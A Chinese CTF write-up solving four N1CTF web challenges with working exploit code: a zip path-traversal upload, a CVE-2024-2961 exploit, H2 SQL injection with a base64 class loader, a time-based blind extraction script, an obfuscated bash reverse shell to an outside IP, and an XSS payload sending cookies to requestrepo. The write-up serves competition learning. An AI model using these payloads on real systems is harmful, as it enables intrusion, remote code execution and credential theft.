第三届 N1CTF WP 及复现记录
2025-02-12|CTF

traefik

主要是 zip 上传解压的逻辑。/flag 接口是不能直接访问的,因为 traefik 代理只有两个规则 /public/index /public/upload

package main

import (
	"archive/zip"
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
	"strings"

	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
)

const uploadDir = "./uploads"

func unzipSimpleFile(file *zip.File, filePath string) error {
	outFile, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer outFile.Close()

	fileInArchive, err := file.Open()
	if err != nil {
		return err
	}
	defer fileInArchive.Close()

	_, err = io.Copy(outFile, fileInArchive)
	if err != nil {
		return err
	}
	return nil
}

func unzipFile(zipPath, destDir string) error {
	zipReader, err := zip.OpenReader(zipPath)
	if err != nil {
		return err
	}
	defer zipReader.Close()

	for _, file := range zipReader.File {
		filePath := filepath.Join(destDir, file.Name)
		if file.FileInfo().IsDir() {
			if err := os.MkdirAll(filePath, file.Mode()); err != nil {
				return err
			}
		} else {
			err = unzipSimpleFile(file, filePath)
			if err != nil {
				return err
			}
		}
	}
	return nil
}

func randFileName() string {
	return uuid.New().String()
}

func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")

	r.GET("/flag", func(c *gin.Context) {
		xForwardedFor := c.GetHeader("X-Forwarded-For")

		if !strings.Contains(xForwardedFor, "127.0.0.1") {
			c.JSON(400, gin.H{"error": "only localhost can get flag"})
			return
		}

		flag := os.Getenv("FLAG")
		if flag == "" {
			flag = "flag{testflag}"
		}

		c.String(http.StatusOK, flag)
	})

	r.GET("/public/index", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", nil)
	})

	r.POST("/public/upload", func(c *gin.Context) {
		file, err := c.FormFile("file")
		if err != nil {
			c.JSON(400, gin.H{"error": "File upload failed"})
			return
		}

		randomFolder := randFileName()
		destDir := filepath.Join(uploadDir, randomFolder)

		if err := os.MkdirAll(destDir, 0755); err != nil {
			c.JSON(500, gin.H{"error": "Failed to create directory"})
			return
		}

		zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
		if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
			c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
			return
		}

		if err := unzipFile(zipFilePath, destDir); err != nil {
			c.JSON(500, gin.H{"error": "Failed to unzip file"})
			return
		}

		c.JSON(200, gin.H{
			"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
		})
	})

	r.Run(":8080")
}

尝试生成一个目录遍历 ZIP 并上传:

import requests
import zipfile

url = "http://localhost:8080"

with zipfile.ZipFile("exploit.zip", "w") as z:
    z.write("main", "../../main")

with open("exploit.zip", "rb") as f:
    resp = requests.post(f"{url}/public/upload", files={"file": ("exploit.zip", f, "application/octet-stream")})
    print(resp.text)

提示解压失败,如果改成 ../../main0 则提示解压成功,所以无法覆盖 main 程序本身

因为题目名字是 traefik,并且应用使用了 Traefik 作为反向代理,可以试试覆盖它的动态配置 dynamic.yml,新写配置如下:

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
    flag:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080/flag"

  middlewares:
    set-localhost-header:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"

  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: flag
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: flag
    getflag:
      rule: Path(`/flag`)
      entrypoints: [web]
      middlewares:
        - set-localhost-header
      service: flag

根据 dockerfile:COPY config/dynamic.yml /app/.config/。穿越路径应该是 ../../.config/dynamic.yml

import requests
import zipfile

url = "http://39.106.16.204:17355"

with zipfile.ZipFile("exploit.zip", "w") as z:
    z.write("dynamic.yml", "../../.config/dynamic.yml")

with open("exploit.zip", "rb") as f:
    resp = requests.post(f"{url}/public/upload", files={"file": ("exploit.zip", f, "application/octet-stream")})
    print(resp.text)

上传成功后访问 /flag 即可拿到 flag

Gavatar

页面有注册登录和文件上传的功能,查看请求可以看到 PHP/8.3.4,最终应该是要执行 /readflag 获得 flag。先注册一个账号,用户名为 a,复制 Cookie 备用

看了一圈源码发现可能利用的点就是任意文件读取,上传界面可以输入 URL,这里可以用 PHP 伪协议和 file:// 比如 file:///etc/passwd,因为 upload.php 里写的是:$image = @file_get_contents($_POST['url']);

提交 URL 后 F12 看图片标签 src 是 avatar.php?user=a,访问 /avatar.php?user=a 就可以看到读取的文件内容

alt text

由此想到 CVE-2024-2961,此处版本符合条件。拿这里的 exp 改一下 https://github.com/ambionics/cnext-exploits/(我是用 Python 3.12 运行的,3.13 没法安装 ten 这个依赖)

如图所示,修改了发送请求(使用 POST 参数 url ;带上注册的用户的 Cookie)和获取文件读取结果的代码

alt text

运行程序,执行命令将运行 readflag 的结果写入 web 目录

python cnext-exploit.py http://39.106.16.204:39901 "/readflag > /var/www/html/flag.html"

alt text

然后浏览器访问 /flag.html 即可看到 flag

EasyDB

赛中解法

附件里是 jar,拖到 jd-gui 反编译看

application.ymldriver-class-name: org.h2.Driver,所以是 H2 数据库

源码直接格式化字符串为 SQL 语句,是有 SQL 注入。登录界面账户输入 admin'-- ,密码留空,就进入了页面,提示 Welcome admin'--

利用堆叠注入进行 H2 数据库的 Java 代码执行:

';CREATE ALIAS a AS $$void f(String cmd) throws java.lang.InterruptedException {java.lang.Thread.sleep(15000);System.out.println("success");}$$;CALL a('');-- 

(本地测试)发现服务器延迟后终端输出了 "success",说明执行成功(下一次执行时别名应该不同,否则会报错)

为了执行系统命令需要绕 blacklist,在 challenge.SecurityUtils 中有 blacklist:

static {
	blackLists.add("runtime");
	blackLists.add("process");
	blackLists.add("exec");
	blackLists.add("shell");
	blackLists.add("file");
	blackLists.add("script");
	blackLists.add("groovy");
}

可以自定义一个类加载器,从经过 base64 编码的 class 字节码加载类

首先写一个带命令执行方法的 Evil

public class Evil {
    public Evil() {
        System.out.println("Evil class loaded, but no command executed yet.");
    }

    public String e(String command) {
        String output = "";
        try {
            String[] cmdArray = {"/bin/sh", "-c", command};
            Process process = Runtime.getRuntime().exec(cmdArray);
            java.util.Scanner scanner = new java.util.Scanner(process.getInputStream()).useDelimiter("\\A");
            output = scanner.hasNext() ? scanner.next() : "";
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
            output = "Error executing command: " + e.getMessage();
        }
        return output;
    }
}

IDEA 里编译,得到 Evil.class。然后编码为 base64

cat Evil.class | base64 | tr -d '\n'

然后是自定义类加载器并从字节码中加载 Evil 类的 Java 语句

package org.example;

public class Main {
    static void f(String cmd) throws InterruptedException, ClassNotFoundException, InstantiationException, IllegalAccessException, java.io.IOException, java.lang.reflect.InvocationTargetException, NoSuchMethodException {
        ClassLoader MyClassLoader = new ClassLoader() {
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("Evil")) {
                    return findClass(name);
                }
                return super.loadClass(name);
            }

            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    byte[] bytes = java.util.Base64.getDecoder().decode("编码后的 Base64");
					java.security.PermissionCollection pc = new java.security.Permissions();
                    pc.add(new java.security.AllPermission());
                    java.security.ProtectionDomain protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
                    return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return super.findClass(name);
            }
        };
        Class<?> clazz = Class.forName("Evil", true, MyClassLoader);
        Object evilInstance = clazz.newInstance();
        java.lang.reflect.Method e = clazz.getMethod("e", String.class);
        String commandOutput = (String) e.invoke(evilInstance, cmd);
        System.out.println("Command Output:\n" + commandOutput);
        System.out.println("success");
    }

    public static void main(String[] args) {
        System.out.println("Hello, World!");
        try {
            f("whoami");
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (java.io.IOException e) {
            e.printStackTrace();
        } catch (java.lang.reflect.InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
    }
}

测试能够成功加载后就可以将这个方法放到 SQL 注入语句里

';CREATE ALIAS ccc AS $$
void f(String cmd) throws InterruptedException, ClassNotFoundException, InstantiationException, IllegalAccessException, java.io.IOException, java.lang.reflect.InvocationTargetException, NoSuchMethodException {
        ClassLoader MyClassLoader = new ClassLoader() {
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("Evil")) {
                    return findClass(name);
                }
                return super.loadClass(name);
            }

            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    byte[] bytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAdAoAHAA5CQA6ADsIADwKAD0APggAPwcAQAgAQQgAQgoAQwBECgBDAEUHAEYKAEcASAoACwBJCABKCgALAEsKAAsATAoACwBNCgBHAE4HAE8KABMAUAcAUQoAFQA5CABSCgAVAFMKABMAVAoAFQBVBwBWBwBXAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAFlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjbWRBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAB3NjYW5uZXIBABNMamF2YS91dGlsL1NjYW5uZXI7AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHY29tbWFuZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHAFYHAEAHACcHAFgHAEYHAE8BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAdAB4HAFkMAFoAWwEAL0V2aWwgY2xhc3MgbG9hZGVkLCBidXQgbm8gY29tbWFuZCBleGVjdXRlZCB5ZXQuBwBcDABdAF4BAAABABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jBwBfDABgAGEMAGIAYwEAEWphdmEvdXRpbC9TY2FubmVyBwBYDABkAGUMAB0AZgEAAlxBDABnAGgMAGkAagwAawBsDABtAG4BABNqYXZhL2xhbmcvRXhjZXB0aW9uDABvAB4BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAGUVycm9yIGV4ZWN1dGluZyBjb21tYW5kOiAMAHAAcQwAcgBsDABzAGwBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAApnZXRNZXNzYWdlAQAIdG9TdHJpbmcAIQAbABwAAAAAAAIAAQAdAB4AAQAfAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIAIAAAAA4AAwAAAAIABAADAAwABAAhAAAADAABAAAADQAiACMAAAABACQAJQABAB8AAAE7AAQABgAAAGwSBU0GvQAGWQMSB1NZBBIIU1kFK1NOuAAJLbYACjoEuwALWRkEtgAMtwANEg62AA86BRkFtgAQmQALGQW2ABGnAAUSBU0ZBLYAElenAB9OLbYAFLsAFVm3ABYSF7YAGC22ABm2ABi2ABpNLLAAAQADAEsATgATAAMAIAAAAC4ACwAAAAgAAwAKABYACwAfAAwAMgANAEUADgBLABIATgAPAE8AEABTABEAagATACEAAABIAAcAFgA1ACYAJwADAB8ALAAoACkABAAyABkAKgArAAUATwAbACQALAADAAAAbAAiACMAAAAAAGwALQAuAAEAAwBpAC8ALgACADAAAAAzAAT/AEIABgcAMQcAMgcAMgcAMwcANAcANQAAQQcAMv8ACQADBwAxBwAyBwAyAAEHADYbAAEANwAAAAIAOA==");
					java.security.PermissionCollection pc = new java.security.Permissions();
                    pc.add(new java.security.AllPermission());
                    java.security.ProtectionDomain protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
                    return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return super.findClass(name);
            }
        };
        Class<?> clazz = Class.forName("Evil", true, MyClassLoader);
        Object evilInstance = clazz.newInstance();
        java.lang.reflect.Method e = clazz.getMethod("e", String.class);
        String commandOutput = (String) e.invoke(evilInstance, cmd);
        System.out.println("Command Output:\n" + commandOutput);
        System.out.println("success");
    }
$$;CALL ccc('whoami');-- 

本地测试在终端中可以看到输出了命令执行结果


Alpine 系统下读 flag 有点麻烦,nc curl wget 之类的都没有

因为不会写 SpringBoot 内存马所以写了个时间盲注的脚本(创建一个 p.txt,把这里 sentence 变量内容写进去)

import requests
import time
import random
import string

URL = "http://39.106.16.204:28438"

def generate_random_string():
    characters = string.ascii_lowercase
    random_string = ''.join(random.choice(characters) for i in range(10))
    return random_string

def send(payload: str) -> bool:
    start = time.time()
    r = requests.post(f"{URL}/login", data={"username": payload, "password": ''})
    end = time.time()
    delay = end - start
    # print(f"{delay:.2f}")
    return delay > 5

def inject():
    print("Start..")

    def find():
        name = ""
        char_offset = 1

        def find_char():
            nonlocal name, char_offset
            for char in range(45, 126):
                
                sentence = """
';CREATE ALIAS RANDOM_FN AS $$
void f(String cmd) throws InterruptedException, ClassNotFoundException, InstantiationException, IllegalAccessException, java.io.IOException, java.lang.reflect.InvocationTargetException, NoSuchMethodException {
        ClassLoader MyClassLoader = new ClassLoader() {
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("Evil")) {
                    return findClass(name);
                }
                return super.loadClass(name);
            }

            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    byte[] bytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAdAoAHAA5CQA6ADsIADwKAD0APggAPwcAQAgAQQgAQgoAQwBECgBDAEUHAEYKAEcASAoACwBJCABKCgALAEsKAAsATAoACwBNCgBHAE4HAE8KABMAUAcAUQoAFQA5CABSCgAVAFMKABMAVAoAFQBVBwBWBwBXAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAFlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjbWRBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAB3NjYW5uZXIBABNMamF2YS91dGlsL1NjYW5uZXI7AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHY29tbWFuZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHAFYHAEAHACcHAFgHAEYHAE8BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAdAB4HAFkMAFoAWwEAL0V2aWwgY2xhc3MgbG9hZGVkLCBidXQgbm8gY29tbWFuZCBleGVjdXRlZCB5ZXQuBwBcDABdAF4BAAABABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jBwBfDABgAGEMAGIAYwEAEWphdmEvdXRpbC9TY2FubmVyBwBYDABkAGUMAB0AZgEAAlxBDABnAGgMAGkAagwAawBsDABtAG4BABNqYXZhL2xhbmcvRXhjZXB0aW9uDABvAB4BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAGUVycm9yIGV4ZWN1dGluZyBjb21tYW5kOiAMAHAAcQwAcgBsDABzAGwBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAApnZXRNZXNzYWdlAQAIdG9TdHJpbmcAIQAbABwAAAAAAAIAAQAdAB4AAQAfAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIAIAAAAA4AAwAAAAIABAADAAwABAAhAAAADAABAAAADQAiACMAAAABACQAJQABAB8AAAE7AAQABgAAAGwSBU0GvQAGWQMSB1NZBBIIU1kFK1NOuAAJLbYACjoEuwALWRkEtgAMtwANEg62AA86BRkFtgAQmQALGQW2ABGnAAUSBU0ZBLYAElenAB9OLbYAFLsAFVm3ABYSF7YAGC22ABm2ABi2ABpNLLAAAQADAEsATgATAAMAIAAAAC4ACwAAAAgAAwAKABYACwAfAAwAMgANAEUADgBLABIATgAPAE8AEABTABEAagATACEAAABIAAcAFgA1ACYAJwADAB8ALAAoACkABAAyABkAKgArAAUATwAbACQALAADAAAAbAAiACMAAAAAAGwALQAuAAEAAwBpAC8ALgACADAAAAAzAAT/AEIABgcAMQcAMgcAMgcAMwcANAcANQAAQQcAMv8ACQADBwAxBwAyBwAyAAEHADYbAAEANwAAAAIAOA==");
					java.security.PermissionCollection pc = new java.security.Permissions();
                    pc.add(new java.security.AllPermission());
                    java.security.ProtectionDomain protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
                    return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return super.findClass(name);
            }
        };
        Class<?> clazz = Class.forName("Evil", true, MyClassLoader);
        Object evilInstance = clazz.newInstance();
        java.lang.reflect.Method e = clazz.getMethod("e", String.class);
        String commandOutput = (String) e.invoke(evilInstance, cmd);
        System.out.println("Command Output:\n" + commandOutput);
        System.out.println("success");
    }
$$;CALL RANDOM_FN('f=$(/readflag | cut -c CHAR_OFFSET);if [ "$f" = "CHAR_LITERAL" ]; then
	echo "$f";sleep 6; fi;
');-- 
""".replace("CHAR_OFFSET", str(char_offset)).replace("CHAR_LITERAL", chr(char)).replace("RANDOM_FN", generate_random_string())
                with open('p.txt', 'r') as f:
                    c = f.read()
                    sentence = c.replace("CHAR_OFFSET", str(char_offset)).replace("CHAR_LITERAL", chr(char)).replace("RANDOM_FN", generate_random_string())
                if send(sentence):
                    name += chr(char)
                    print(name)
                    char_offset += 1
                    find_char()

        find_char()

    find()

if __name__ == '__main__':
    inject()

赛后复现

因为留着 docker 环境所以赛后没线上环境还能复现

有更简单的方法,即直接反射调用 Runtime 类及其方法,而不用写一个自定义类加载器再反射调用加载的类的方法。然后使用 bash 反弹 shell

void a(String cmd) throws Exception {
    String runt1me_str = "Run" + "time";
    Class<?> runt1me_cls = Class.forName("java.lang." + runt1me_str);
    Object runt1me_obj = runt1me_cls.getMethod("get" + runt1me_str).invoke(null);
    runt1me_cls.getMethod("ex" + "ec", String.class).invoke(runt1me_obj, cmd);
}

注入语句:

';CREATE ALIAS aa AS $$
void a(String cmd) throws Exception {
    String runt1me_str = "Run" + "time";
    Class<?> runt1me_cls = Class.forName("java.lang." + runt1me_str);
    Object runt1me_obj = runt1me_cls.getMethod("get" + runt1me_str).invoke(null);
    runt1me_cls.getMethod("ex" + "ec", String.class).invoke(runt1me_obj, cmd);
}
$$;CALL aa('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzNy4xMDMuMTgzLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}');-- 

display

题目 hint:用 iframe 嵌入子页面可以重新唤起DOM解析器解析 script 标签

目标是要通过 XSS 从目标无头浏览器偷 Cookie

<script>fetch('https://6x6j4aru.requestrepo.com/', {method: 'POST',body: document.cookie});</script>

使用 iframe 标签就是:

<iframe/srcdoc="<script>fetch('https://6x6j4aru.requestrepo.com/', {method: 'POST',body: document.cookie});</script>">

静态资源 index.js:

function getQueryParam(param) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(param);
}

// Sanitize content using DOMPurify
function sanitizeContent(text) {
    // Only allow <h1>, <h2>, tags and plain text
    const config = {
        ALLOWED_TAGS: ['h1', 'h2']
    };
    return DOMPurify.sanitize(text, config);
}

document.addEventListener("DOMContentLoaded", function() {
    const textInput = document.getElementById('text-input');
    const insertButton = document.getElementById('insert-btn');
    const contentDisplay = document.getElementById('content-display');

    const queryText = getQueryParam('text');

    if (queryText) {
        const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));

        if (sanitizedText.length > 0) {
            textInput.innerHTML = sanitizedText;             // 写入预览区
            contentDisplay.innerHTML = textInput.innerText;  // 写入效果显示区

            insertButton.disabled = false;    
        } else {
            textInput.innerText = "Only allow h1, h2 tags and plain text";
        }
    }
});

获取 text 查询参数经过 DOMPurify 后通过 innerHTML 写入预览区,然后再通过一次 innerHTML 写入显示区

写入显示区经过了两次 innerHTML 所以可以使用实体编码绕过比如 &lt;img&sol;src&equals;1&gt;(注意有 atob 函数 base64 解码)


然后会遇到第二个问题,app.js 中设置了请求头 Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';。这个 CSP 限制了只允许同源脚本,禁用了内联脚本(script 标签),禁止加载插件资源,禁用 base 标签

本地测试如果把 csp 变量设为空,使用上面的 iframe 标签用法可以执行任意 js 语句,直接写 script 标签则不解析

这个地方很难绕过。但是在代码中可以注意到 404 页面也有个可控参数

app.use((req, res) => {
  res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

能够构造任意 js 语句,可以通过 src 引入。为了避免 / : invalid path 影响可以插入注释

<iframe/srcdoc="<script/src='/**/fetch(`https://6x6j4aru.requestrepo.com/`, {method: `POST`,body: document.cookie});//'></script>">

经过 HTML 实体编码和 base64 编码后在 /report 接口写入即可